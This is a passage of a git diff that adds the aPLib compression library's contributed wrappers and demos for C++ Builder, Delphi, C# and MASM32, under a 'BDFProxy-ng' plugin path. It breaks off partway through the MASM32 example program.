/dev/null +++ b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/bcb/aptest.bpr @@ -0,0 +1,121 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +[Version Info] +IncludeVerInfo=0 +AutoIncBuild=0 +MajorVer=1 +MinorVer=0 +Release=0 +Build=0 +Debug=0 +PreRelease=0 +Special=0 +Private=0 +DLL=0 +Locale=1033 +CodePage=1252 + +[Version Info Keys] +CompanyName= +FileDescription= +FileVersion=1.0.0.0 +InternalName= +LegalCopyright= +LegalTrademarks= +OriginalFilename= +ProductName= +ProductVersion=1.0.0.0 +Comments= + +[Excluded Packages] + +[HistoryLists\hlIncludePath] +Count=0 + +[HistoryLists\hlLibraryPath] +Count=0 + +[HistoryLists\hlDebugSourcePath] +Count=0 + +[Debugging] +DebugSourceDirs=$(BCB)\source\vcl + +[Parameters] +RunParams= +Launcher= +UseLauncher=0 +DebugCWD= +HostApplication= +RemoteHost= +RemotePath= +RemoteLauncher= +RemoteCWD= +RemoteDebug=0 + +[Compiler] +ShowInfoMsgs=0 +LinkDebugVcl=0 +LinkCGLIB=0 + +[CORBA] +AddServerUnit=1 +AddClientUnit=1 +PrecompiledHeaders=1 + + \ No newline at end of file diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/contrib/bcb/aptest.cpp b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/bcb/aptest.cpp new file mode 100644 index 0000000..dae905b --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/bcb/aptest.cpp @@ -0,0 +1,33 @@ +//--------------------------------------------------------------------------- + +#include +#pragma hdrstop +//--------------------------------------------------------------------------- +USEFORM("MainFormUnit.cpp", MainForm); +//--------------------------------------------------------------------------- +WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int) +{ + try + { + Application->Initialize(); + Application->CreateForm(__classid(TMainForm), &MainForm); + Application->Run(); + } + catch (Exception &exception) + { + Application->ShowException(&exception); + } + catch (...) + { + try + { + throw Exception(""); + } + catch (Exception &exception) + { + Application->ShowException(&exception); + } + } + return 0; +} +//--------------------------------------------------------------------------- diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/contrib/bcb/aptest.res b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/bcb/aptest.res new file mode 100644 index 0000000..e468bf9 Binary files /dev/null and b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/bcb/aptest.res differ diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/contrib/delphi/aplib.pas b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/delphi/aplib.pas new file mode 100644 index 0000000..c15d59d --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/delphi/aplib.pas @@ -0,0 +1,113 @@ +(* + * aPLib compression library - the smaller the better :) + * + * Delphi aPLib wrapper for example + * + * Copyright (c) 1998-2009 by Joergen Ibsen / Jibz + * All Rights Reserved + * + * http://www.ibsensoftware.com/ + * + * -> Delphi by Solodovnikov Alexey 21.03.1999 (alenka@mail.line.ru) + *) + +unit aPLib; + +interface + +uses + Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, +(*$IFDEF DYNAMIC_VERSION*) + aPLibud; +(*$ELSE*) + aPLibu; +(*$ENDIF*) + +const + aP_pack_break : DWORD = 0; + aP_pack_continue : DWORD = 1; + + aPLib_Error : DWORD = DWORD(-1); (* indicates error compressing/decompressing *) + +type + + TaPLib = class(TComponent) + private + FWorkMem : Pointer; + FLength : DWORD; + FSource : Pointer; + FDestination : Pointer; + + protected + + public + + CallBack : TaPack_Status; + + procedure Pack; + procedure DePack; + + property Source : Pointer read FSource write FSource; + property Destination : Pointer read FDestination write FDestination; + property Length : DWORD read FLength write FLength; + + published + + end; + + procedure Register; + +implementation + +procedure Register; +begin + RegisterComponents('Samples', [TaPLib]); +end; + +procedure TaPLib.Pack; +begin + if FDestination <> nil then + begin + FreeMem(FDestination); + FDestination := nil; + end; + + if FWorkMem <> nil then + begin + FreeMem(FWorkMem); + FWorkMem := nil; + end; + + GetMem(FDestination,_aP_max_packed_size(FLength)); + if FDestination = nil then raise Exception.Create('Out of memory'); + + GetMem(FWorkMem,_aP_workmem_size(FLength)); + if FWorkMem = nil then raise Exception.Create('Out of memory'); + + FLength := _aPsafe_pack(FSource^, FDestination^, FLength, FWorkMem^, CallBack, nil); + + if FLength = aPLib_Error then raise Exception.Create('Compression error'); +end; + +procedure TaPLib.DePack; +var + DLength : DWORD; +begin + if FDestination <> nil then + begin + FreeMem(FDestination); + FDestination := nil; + end; + + DLength := _aPsafe_get_orig_size(FSource^); + if DLength = aPLib_Error then raise Exception.Create('File is not packed with aPLib'); + + Getmem(FDestination, DLength); + if FDestination = nil then raise Exception.Create('Out of memory'); + + FLength := _aPsafe_depack(FSource^, FLength, FDestination^, DLength); + + if FLength = aPLib_Error then raise Exception.Create('Decompression error'); +end; + +end. diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/contrib/delphi/aplibu.pas b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/delphi/aplibu.pas new file mode 100644 index 0000000..ae4e892 --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/delphi/aplibu.pas @@ -0,0 +1,110 @@ +(* + * aPLib compression library - the smaller the better :) + * + * Delphi interface to aPLib Delphi objects + * + * Copyright (c) 1998-2009 by Joergen Ibsen / Jibz + * All Rights Reserved + * + * http://www.ibsensoftware.com/ + * + * -> Delphi by Solodovnikov Alexey 21.03.1999 (alenka@mail.line.ru) + *) + +unit aPLibu; + +interface + +uses + Windows; + +const + aP_pack_break : DWORD = 0; + aP_pack_continue : DWORD = 1; + + aPLib_Error : DWORD = DWORD(-1); (* indicates error compressing/decompressing *) + +type + + TaPack_Status = function(w0, w1, w2 : DWORD; + cbparam : Pointer) : DWORD;cdecl; + + function _aP_pack(var Source; + var Destination; + Length : DWORD; + var WorkMem; + Callback : TaPack_Status; + cbparam : Pointer) : DWORD;cdecl; + function _aP_workmem_size(InputSize : DWORD) : DWORD;cdecl; + function _aP_max_packed_size(InputSize : DWORD) : DWORD;cdecl; + function _aP_depack_asm(var Source, Destination) : DWORD;cdecl; + function _aP_depack_asm_fast(var Source, Destination) : DWORD;cdecl; + function _aP_depack_asm_safe(var Source; + SrcLen : DWORD; + var Destination; + DstLen :DWORD) : DWORD;cdecl; + function _aP_crc32(var Source; Length : DWORD) : DWORD;cdecl; + function _aPsafe_pack(var Source; + var Destination; + Length : DWORD; + var WorkMem; + Callback : TaPack_Status; + cbparam : Pointer) : DWORD;cdecl; + function _aPsafe_check(var Source) : DWORD;cdecl; + function _aPsafe_get_orig_size(var Source) : DWORD;cdecl; + function _aPsafe_depack(var Source; + SrcLen : DWORD; + var Destination; + DstLen :DWORD) : DWORD;cdecl; + +implementation + + function _aP_pack(var Source; + var Destination; + Length : DWORD; + var WorkMem; + CallBack : TaPack_Status; + cbparam : Pointer) : DWORD;external; + + function _aP_workmem_size(InputSize : DWORD) : DWORD;external; + + function _aP_max_packed_size(InputSize : DWORD) : DWORD;external; + + function _aP_depack_asm(var Source, Destination) : DWORD;external; + + function _aP_depack_asm_fast(var Source, Destination) : DWORD;external; + + function _aP_depack_asm_safe(var Source; + SrcLen : DWORD; + var Destination; + DstLen :DWORD) : DWORD;external; + + function _aP_crc32(var Source; Length : DWORD) : DWORD;external; + + function _aPsafe_pack(var Source; + var Destination; + Length : DWORD; + var WorkMem; + CallBack : TaPack_Status; + cbparam : Pointer) : DWORD;external; + + function _aPsafe_check(var Source) : DWORD;external; + + function _aPsafe_get_orig_size(var Source) : DWORD;external; + + function _aPsafe_depack(var Source; + SrcLen : DWORD; + var Destination; + DstLen :DWORD) : DWORD;external; + +{$L ..\..\lib\omf\aplib.obj} +{$L ..\..\lib\omf\depack.obj} +{$L ..\..\lib\omf\depackf.obj} +{$L ..\..\lib\omf\depacks.obj} +{$L ..\..\lib\omf\crc32.obj} +{$L ..\..\lib\omf\spack.obj} +{$L ..\..\lib\omf\scheck.obj} +{$L ..\..\lib\omf\sgetsize.obj} +{$L ..\..\lib\omf\sdepack.obj} + +end. diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/contrib/delphi/aplibud.pas b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/delphi/aplibud.pas new file mode 100644 index 0000000..a561e70 --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/delphi/aplibud.pas @@ -0,0 +1,103 @@ +(* + * aPLib compression library - the smaller the better :) + * + * Delphi interface to aPLib dll + * + * Copyright (c) 1998-2009 by Joergen Ibsen / Jibz + * All Rights Reserved + * + * http://www.ibsensoftware.com/ + * + * -> Delphi by Solodovnikov Alexey 21.03.1999 (alenka@mail.line.ru) + *) + +unit aPLibud; + +interface + +uses + Windows; + +const + aP_pack_break : DWORD = 0; + aP_pack_continue : DWORD = 1; + + aPLib_Error : DWORD = DWORD(-1); (* indicates error compressing/decompressing *) + +type + + TaPack_Status = function(w0, w1, w2 : DWORD; + cbparam : Pointer) : DWORD;stdcall; + + function _aP_pack(var Source; + var Destination; + Length : DWORD; + var WorkMem; + Callback : TaPack_Status; + cbparam : Pointer) : DWORD;stdcall; + function _aP_workmem_size(InputSize : DWORD) : DWORD;stdcall; + function _aP_max_packed_size(InputSize : DWORD) : DWORD;stdcall; + function _aP_depack_asm(var Source, Destination) : DWORD;stdcall; + function _aP_depack_asm_fast(var Source, Destination) : DWORD;stdcall; + function _aP_depack_asm_safe(var Source; + SrcLen : DWORD; + var Destination; + DstLen :DWORD) : DWORD;stdcall; + function _aP_crc32(var Source; Length : DWORD) : DWORD;stdcall; + function _aPsafe_pack(var Source; + var Destination; + Length : DWORD; + var WorkMem; + Callback : TaPack_Status; + cbparam : Pointer) : DWORD;stdcall; + function _aPsafe_check(var Source) : DWORD;stdcall; + function _aPsafe_get_orig_size(var Source) : DWORD;stdcall; + function _aPsafe_depack(var Source; + SrcLen : DWORD; + var Destination; + DstLen :DWORD) : DWORD;stdcall; + +implementation + +const + DLL = 'aplib.dll'; + + function _aP_pack(var Source; + var Destination; + Length : DWORD; + var WorkMem; + CallBack : TaPack_Status; + cbparam : Pointer) : DWORD;stdcall;external DLL; + + function _aP_workmem_size(InputSize : DWORD) : DWORD;stdcall;external DLL; + + function _aP_max_packed_size(InputSize : DWORD) : DWORD;stdcall;external DLL; + + function _aP_depack_asm(var Source, Destination) : DWORD;stdcall;external DLL; + + function _aP_depack_asm_fast(var Source, Destination) : DWORD;stdcall;external DLL; + + function _aP_depack_asm_safe(var Source; + SrcLen : DWORD; + var Destination; + DstLen :DWORD) : DWORD;external DLL; + + function _aP_crc32(var Source; Length : DWORD) : DWORD;stdcall;external DLL; + + function _aPsafe_pack(var Source; + var Destination; + Length : DWORD; + var WorkMem; + CallBack : TaPack_Status; + cbparam : Pointer) : DWORD;stdcall;external DLL; + + function _aPsafe_check(var Source) : DWORD;stdcall;external DLL; + + function _aPsafe_get_orig_size(var Source) : DWORD;stdcall;external DLL; + + function _aPsafe_depack(var Source; + SrcLen : DWORD; + var Destination; + DstLen :DWORD) : DWORD;external DLL; + +end. diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/contrib/delphi/aptest.dof b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/delphi/aptest.dof new file mode 100644 index 0000000..ed506c8 --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/delphi/aptest.dof @@ -0,0 +1,75 @@ +[Compiler] +A=1 +B=0 +C=1 +D=1 +E=0 +F=0 +G=1 +H=1 +I=1 +J=1 +K=0 +L=1 +M=0 +N=1 +O=1 +P=1 +Q=0 +R=0 +S=0 +T=0 +U=0 +V=1 +W=0 +X=1 +Y=0 +Z=1 +ShowHints=1 +ShowWarnings=1 +UnitAliases=WinTypes=Windows;WinProcs=Windows;DbiTypes=BDE;DbiProcs=BDE;DbiErrs=BDE; +[Linker] +MapFile=0 +OutputObjs=0 +ConsoleApp=1 +DebugInfo=0 +MinStackSize=16384 +MaxStackSize=1048576 +ImageBase=4194304 +ExeDescription= +[Directories] +OutputDir= +UnitOutputDir= +SearchPath= +Packages=vclx30;VCL30;vcldb30;vcldbx30;inetdb30;inet30;VclSmp30;Qrpt30;teeui30;teedb30;tee30;dss30;IBEVNT30;RxDB;RxCtl;RxTools;ppQryWiz;ppDsgnr;ppRCL;ppBDE +Conditionals= +DebugSourceDirs= +UsePackages=0 +[Parameters] +RunParams= +HostApplication= +[Version Info] +IncludeVerInfo=0 +AutoIncBuild=0 +MajorVer=1 +MinorVer=0 +Release=0 +Build=0 +Debug=0 +PreRelease=0 +Special=0 +Private=0 +DLL=0 +Locale=1049 +CodePage=1251 +[Version Info Keys] +CompanyName= +FileDescription= +FileVersion=1.0.0.0 +InternalName= +LegalCopyright= +LegalTrademarks= +OriginalFilename= +ProductName= +ProductVersion=1.0.0.0 +Comments= diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/contrib/delphi/aptest.dpr b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/delphi/aptest.dpr new file mode 100644 index 0000000..34c8f3b --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/delphi/aptest.dpr @@ -0,0 +1,13 @@ +program aPTest; + +uses + Forms, + t_main in 't_main.pas' {frmMain}; + +{$R *.RES} + +begin + Application.Initialize; + Application.CreateForm(TfrmMain, frmMain); + Application.Run; +end. diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/contrib/delphi/aptest.res b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/delphi/aptest.res new file mode 100644 index 0000000..b442a5b Binary files /dev/null and b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/delphi/aptest.res differ diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/contrib/delphi/makefile b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/delphi/makefile new file mode 100644 index 0000000..1794258 --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/delphi/makefile @@ -0,0 +1,31 @@ +## +## aPLib compression library - the smaller the better :) +## +## Delphi example makefile (Borland make) +## +## Copyright (c) 1998-2009 by Joergen Ibsen / Jibz +## All Rights Reserved +## + +# Add -DDYNAMIC_VERSION to the dccflags variable to link with the +# dll interface (remember to copy the aPLib dll here). + +libdir = ..\..\lib\omf + +target = aptest.exe +objects = t_main.dcu aplib.dcu aplibu.dcu aplibud.dcu aptest.dpr $(libdir)\aplib.obj $(libdir)\depack.obj $(libdir)\depackf.obj + +dcc = dcc32.exe +dccflags = -Q -$A+ -$O+ -$D- + +.phony: clean + +$(target): $(objects) + $(dcc) $(dccflags) aptest.dpr + +.pas.dcu: + $(dcc) $(dccflags) $< + +clean: + del $(target) + del *.dcu diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/contrib/delphi/t_main.dfm b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/delphi/t_main.dfm new file mode 100644 index 0000000..91e8e2e Binary files /dev/null and b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/delphi/t_main.dfm differ diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/contrib/delphi/t_main.pas b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/delphi/t_main.pas new file mode 100644 index 0000000..2de07a5 --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/delphi/t_main.pas @@ -0,0 +1,133 @@ +unit t_main; + +interface + +uses + Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, + aPLib, ExtCtrls, StdCtrls, ComCtrls; + +type + TfrmMain = class(TForm) + aPLib: TaPLib; + Button1: TButton; + Button2: TButton; + Panel1: TPanel; + OD: TOpenDialog; + GroupBox1: TGroupBox; + PB: TProgressBar; + Label3: TLabel; + Label4: TLabel; + Label1: TLabel; + Label2: TLabel; + Label5: TLabel; + CancelBtn: TButton; + procedure Button1Click(Sender: TObject); + procedure Button2Click(Sender: TObject); + procedure CancelBtnClick(Sender: TObject); + private + { Private declarations } + public + Cancel : Boolean; + FileSize : DWORD; + end; + +(*$IFDEF DYNAMIC_VERSION*) + function CallBack(w0, w1, w2 : DWORD; cbparam : Pointer) : DWORD;stdcall; +(*$ELSE*) + function CallBack(w0, w1, w2 : DWORD; cbparam : Pointer) : DWORD;cdecl; +(*$ENDIF*) + +var + frmMain: TfrmMain; + +implementation + +{$R *.DFM} + +function CallBack(w0, w1, w2 : DWORD; cbparam : Pointer) : DWORD; +begin + with frmMain do + begin + Label4.Caption := FormatFloat('##%', ((FileSize - (w1-w2))/FileSize) * 100); + PB.Position := Round(w1/FileSize*100); + + Application.ProcessMessages; + + if Cancel then Result := aP_pack_break + else Result := aP_pack_continue; + end; +end; + +procedure TfrmMain.Button1Click(Sender: TObject); +var + FileIn, + FileOut : TFileStream; + Length : DWORD; + Buffer : Pointer; +begin + if not OD.Execute then Exit; + + FileIn := TFileStream.Create(OD.FileName,fmOpenRead or fmShareDenyWrite); + GetMem(Buffer, FileIn.Size); + Length := FileIn.Size; + FileIn.Read(Buffer^, Length); + + aPLib.Source := Buffer; + aPLib.Length := Length; + + aPlib.CallBack := @CallBack; + + FileSize := FileIn.Size; + Cancel := False; + CancelBtn.Enabled := True; + + aPLib.Pack; + + FileIn.Destroy; + + if aPLib.Length = 0 then Exit; + + FileOut := TFileStream.Create(ExtractFilePath(OD.FileName)+'out.apk', fmCreate); + FileOut.Write(aPLib.Destination^, aPLib.Length); + FileOut.Destroy; + + CancelBtn.Enabled := False; + + ShowMessage('Packed file name is out.apk !'); + +end; + +procedure TfrmMain.Button2Click(Sender: TObject); +var + FileIn, + FileOut : TFileStream; + Length : DWORD; + Buffer : Pointer; +begin + if not OD.Execute then Exit; + + FileIn := TFileStream.Create(OD.FileName,fmOpenRead or fmShareDenyWrite); + GetMem(Buffer, Length); + Length := FileIn.Size; + FileIn.Read(Buffer^, Length); + + aPLib.Source := Buffer; + aPLib.Length := Length; + + aPLib.DePack; + + FileIn.Destroy; + + FileOut := TFileStream.Create(ExtractFilePath(OD.FileName)+'out.dat', fmCreate or fmOpenWrite); + FileOut.Write(aPLib.Destination^, aPLib.Length); + FileOut.Destroy; + + ShowMessage('Original file name is out.dat !'); +end; + +procedure TfrmMain.CancelBtnClick(Sender: TObject); +begin + Cancel := True; +end; + +end. diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/contrib/dotnet/IbsenSoftware/aPLib/AssemblyInfo.cs b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/dotnet/IbsenSoftware/aPLib/AssemblyInfo.cs new file mode 100644 index 0000000..2cfb327 --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/dotnet/IbsenSoftware/aPLib/AssemblyInfo.cs @@ -0,0 +1,27 @@ +// +// aPLib compression library - the smaller the better :) +// +// C# wrapper +// +// Copyright (c) 1998-2009 by Joergen Ibsen / Jibz +// All Rights Reserved +// +// http://www.ibsensoftware.com/ +// + +using System.Reflection; +using System.Runtime.CompilerServices; + +[assembly: AssemblyTitle("aPLib dll wrapper")] +[assembly: AssemblyDescription("C# wrapper for the aPLib dll")] +[assembly: AssemblyConfiguration("")] +[assembly: AssemblyCompany("Ibsen Software")] +[assembly: AssemblyProduct("aPLib compression library")] +[assembly: AssemblyCopyright("Copyright (c) 1998-2009 by Joergen Ibsen. All Rights Reserved.")] +[assembly: AssemblyTrademark("")] +[assembly: AssemblyCulture("")] + +[assembly: AssemblyVersion("1.0.0.0")] + +[assembly: AssemblyDelaySign(false)] +[assembly: AssemblyKeyFile("")] diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/contrib/dotnet/IbsenSoftware/aPLib/DllInterface.cs b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/dotnet/IbsenSoftware/aPLib/DllInterface.cs new file mode 100644 index 0000000..d678739 --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/dotnet/IbsenSoftware/aPLib/DllInterface.cs @@ -0,0 +1,89 @@ +// +// aPLib compression library - the smaller the better :) +// +// C# wrapper +// +// Copyright (c) 1998-2009 by Joergen Ibsen / Jibz +// All Rights Reserved +// +// http://www.ibsensoftware.com/ +// + +namespace IbsenSoftware.aPLib +{ + using System.Runtime.InteropServices; + + public class DllInterface + { + // declare delegate type used for compression callback + public delegate int CompressionCallback( + int length, + int slen, + int dlen, + int cbparam + ); + + [DllImport("aplib.dll")] + public static extern int aP_pack( + [In] byte[] source, + [Out] byte[] destination, + int length, + [In] byte[] workmem, + CompressionCallback callback, + int cbparam + ); + + [DllImport("aplib.dll")] + public static extern int aP_workmem_size(int length); + + [DllImport("aplib.dll")] + public static extern int aP_max_packed_size(int length); + + [DllImport("aplib.dll")] + public static extern int aP_depack_asm( + [In] byte[] source, + [Out] byte[] destination + ); + + [DllImport("aplib.dll")] + public static extern int aP_depack_asm_fast( + [In] byte[] source, + [Out] byte[] destination + ); + + [DllImport("aplib.dll")] + public static extern int aP_depack_asm_safe( + [In] byte[] source, + int srclen, + [Out] byte[] destination, + int dstlen + ); + + [DllImport("aplib.dll")] + public static extern int aP_crc32([In] byte[] source, int length); + + [DllImport("aplib.dll")] + public static extern int aPsafe_pack( + [In] byte[] source, + [Out] byte[] destination, + int length, + [In] byte[] workmem, + CompressionCallback callback, + int cbparam + ); + + [DllImport("aplib.dll")] + public static extern int aPsafe_check([In] byte[] source); + + [DllImport("aplib.dll")] + public static extern int aPsafe_get_orig_size([In] byte[] source); + + [DllImport("aplib.dll")] + public static extern int aPsafe_depack( + [In] byte[] source, + int srclen, + [Out] byte[] destination, + int dstlen + ); + } +} diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/contrib/dotnet/appack.cs b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/dotnet/appack.cs new file mode 100644 index 0000000..ef97b5d --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/dotnet/appack.cs @@ -0,0 +1,119 @@ +// +// aPLib compression library - the smaller the better :) +// +// C# example +// +// Copyright (c) 1998-2009 by Joergen Ibsen / Jibz +// All Rights Reserved +// +// http://www.ibsensoftware.com/ +// + +using System; +using System.IO; + +using IbsenSoftware.aPLib; + +class appack +{ + static int ShowProgress(int length, int slen, int dlen, int cbparam) + { + Console.Write("{0} -> {1}\r", slen, dlen); + return 1; + } + + static void CompressStream(Stream from, Stream to) + { + byte[] src = new byte[from.Length]; + + // read file + if (from.Read(src, 0, src.Length) == src.Length) + { + int dstSize = DllInterface.aP_max_packed_size(src.Length); + int wrkSize = DllInterface.aP_workmem_size(src.Length); + + // allocate mem + byte[] dst = new byte[dstSize]; + byte[] wrk = new byte[wrkSize]; + + // compress data + int packedSize = DllInterface.aPsafe_pack( + src, + dst, + src.Length, + wrk, + new DllInterface.CompressionCallback(ShowProgress), + 0 + ); + + // write compressed data + to.Write(dst, 0, packedSize); + + Console.WriteLine("compressed to {0} bytes", packedSize); + } + } + + static void DecompressStream(Stream from, Stream to) + { + byte[] src = new byte[from.Length]; + + // read file + if (from.Read(src, 0, src.Length) == src.Length) + { + int dstSize = DllInterface.aPsafe_get_orig_size(src); + + // allocate mem + byte[] dst = new byte[dstSize]; + + // decompress data + int depackedSize = DllInterface.aPsafe_depack(src, src.Length, dst, dstSize); + + // write compressed data + to.Write(dst, 0, depackedSize); + + Console.WriteLine("decompressed to {0} bytes", depackedSize); + } + } + + public static void Main(string[] args) + { + Console.WriteLine("==============================================================================="); + Console.WriteLine("aPLib example in C# Copyright (c) 1998-2009 by Joergen Ibsen / Jibz"); + Console.WriteLine(" All Rights Reserved\n"); + Console.WriteLine(" http://www.ibsensoftware.com/"); + Console.WriteLine("===============================================================================\n"); + + if ((args.Length != 3) || ((args[0] != "c") && (args[0] != "d"))) + { + Console.WriteLine("Syntax: appack "); + return; + } + + string inFilename = args[1]; + string outFilename = args[2]; + + if (!File.Exists(inFilename)) + { + Console.WriteLine("Error: unable to find file '{0}'", inFilename); + return; + } + + try { + + using (FileStream inFile = File.OpenRead(inFilename), + outFile = File.Create(outFilename)) + { + if (args[0] == "c") + { + CompressStream(inFile, outFile); + } else { + DecompressStream(inFile, outFile); + } + } + + } catch (Exception e) { + + Console.WriteLine("Error: {0}", e.ToString()); + } + } +} diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/contrib/dotnet/mk.bat b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/dotnet/mk.bat new file mode 100644 index 0000000..41a18a9 --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/dotnet/mk.bat @@ -0,0 +1,5 @@ +@ECHO OFF +ECHO --- Building aPLib .NET dll wrapper --- +ECHO. + +csc /nologo /w:3 /t:library /debug- /o+ /out:IbsenSoftware.aPLib.dll IbsenSoftware\aPLib\*.cs diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/contrib/masm32/ap.ico b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/masm32/ap.ico new file mode 100644 index 0000000..670ca5b Binary files /dev/null and b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/masm32/ap.ico differ diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/contrib/masm32/aplib.inc b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/masm32/aplib.inc new file mode 100644 index 0000000..877ef77 --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/masm32/aplib.inc @@ -0,0 +1,18 @@ +;; +;; aPLib compression library - the smaller the better :) +;; +;; MASM32 include file +;; + +aP_pack proto c, :DWORD, :DWORD, :DWORD, :DWORD, :DWORD, :DWORD +aP_workmem_size proto c, :DWORD +aP_max_packed_size proto c, :DWORD +aP_depack_asm proto c, :DWORD, :DWORD +aP_depack_asm_fast proto c, :DWORD, :DWORD +aP_depack_asm_safe proto c, :DWORD, :DWORD, :DWORD, :DWORD +aP_crc32 proto c, :DWORD, :DWORD + +aPsafe_pack proto c, :DWORD, :DWORD, :DWORD, :DWORD, :DWORD, :DWORD +aPsafe_check proto c, :DWORD +aPsafe_get_orig_size proto c, :DWORD +aPsafe_depack proto c, :DWORD, :DWORD, :DWORD, :DWORD diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/contrib/masm32/appack.asm b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/masm32/appack.asm new file mode 100644 index 0000000..acaa6f6 --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/masm32/appack.asm @@ -0,0 +1,573 @@ +; ######################################################################### + +; aPPack is a test piece for MASM programmers using Joergen Ibsen's +; MASM version of "aPLib". It is an implementation of the LZ77 algorithm +; that has the characteristics of reasonable compression speed and very +; high decompression speed. + +; This makes it highly suitable for installations and other similar +; applications where decompression speed is critical. The compression +; ratio averages slightly better than PKZIP. + +; aPLib is included in MASM32 because it is available from the author +; for personal use as freeware. Commercial applications should contact +; the author for licence of the software. + +; This example uses the 'safe function wrappers' for the compression and +; decompression functions, which maintain a header in front of the packed +; data that is used for crc checking and to determine the length of the +; decompressed data so that the decompression algorithm knows the correct +; buffer size to allocate. + +; This example uses OLE string memory which is implemented in 2 macros +; for convenience of use. The macros are "stralloc" and "strfree". + +; Note that the toolbar bitmap is the single largest component in the +; assembled program. + +; ######################################################################### + + .386 + .model flat, stdcall ; 32 bit memory model + option casemap :none ; case sensitive + + include aPPack.inc ; local includes for this file + +; ######################################################################### + +.code + +start: + invoke GetModuleHandle, NULL + mov hInstance, eax + + invoke GetCommandLine + mov CommandLine, eax + + invoke InitCommonControls + + invoke WinMain,hInstance,NULL,CommandLine,SW_SHOWDEFAULT + invoke ExitProcess,eax + +; ######################################################################### + +WinMain proc hInst :DWORD, + hPrevInst :DWORD, + CmdLine :DWORD, + CmdShow :DWORD + + ;==================== + ; Put LOCALs on stack + ;==================== + + LOCAL wc :WNDCLASSEX + LOCAL msg :MSG + LOCAL Wwd :DWORD + LOCAL Wht :DWORD + LOCAL Wtx :DWORD + LOCAL Wty :DWORD + + ;================================================== + ; Fill WNDCLASSEX structure with required variables + ;================================================== + + invoke LoadIcon,hInst,500 ; icon ID + mov hIcon, eax + + szText szClassName,"aPLib_Class" + + mov wc.cbSize, sizeof WNDCLASSEX + mov wc.style, CS_HREDRAW or CS_VREDRAW \ + or CS_BYTEALIGNWINDOW + mov wc.lpfnWndProc, offset WndProc + mov wc.cbClsExtra, NULL + mov wc.cbWndExtra, NULL + m2m wc.hInstance, hInst + mov wc.hbrBackground, COLOR_BTNFACE+1 + mov wc.lpszMenuName, NULL + mov wc.lpszClassName, offset szClassName + m2m wc.hIcon, hIcon + invoke LoadCursor,NULL,IDC_ARROW + mov wc.hCursor, eax + m2m wc.hIconSm, hIcon + + invoke RegisterClassEx, ADDR wc + + ;================================ + ; Centre window at following size + ;================================ + + mov Wwd, 334 + mov Wht, 191 + + invoke GetSystemMetrics,SM_CXSCREEN + invoke TopXY,Wwd,eax + mov Wtx, eax + + invoke GetSystemMetrics,SM_CYSCREEN + invoke TopXY,Wht,eax + mov Wty, eax + + invoke CreateWindowEx,WS_EX_LEFT, + ADDR szClassName, + ADDR szDisplayName, + WS_OVERLAPPED or WS_SYSMENU, + Wtx,Wty,Wwd,Wht, + NULL,NULL, + hInst,NULL + mov hWnd,eax + + invoke LoadMenu,hInst,600 ; menu ID + invoke SetMenu,hWnd,eax + + invoke ShowWindow,hWnd,SW_SHOWNORMAL + invoke UpdateWindow,hWnd + + ;=================================== + ; Loop until PostQuitMessage is sent + ;=================================== + + StartLoop: + invoke GetMessage,ADDR msg,NULL,0,0 + cmp eax, 0 + je ExitLoop + invoke TranslateMessage, ADDR msg + invoke DispatchMessage, ADDR msg + jmp StartLoop + 